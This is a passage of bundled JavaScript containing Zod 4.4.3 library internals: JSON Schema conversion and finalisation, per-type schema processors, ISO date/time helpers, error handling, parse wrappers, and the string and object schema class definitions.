}\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n const def = {\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n };\n return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new ZodRecord({\n type: 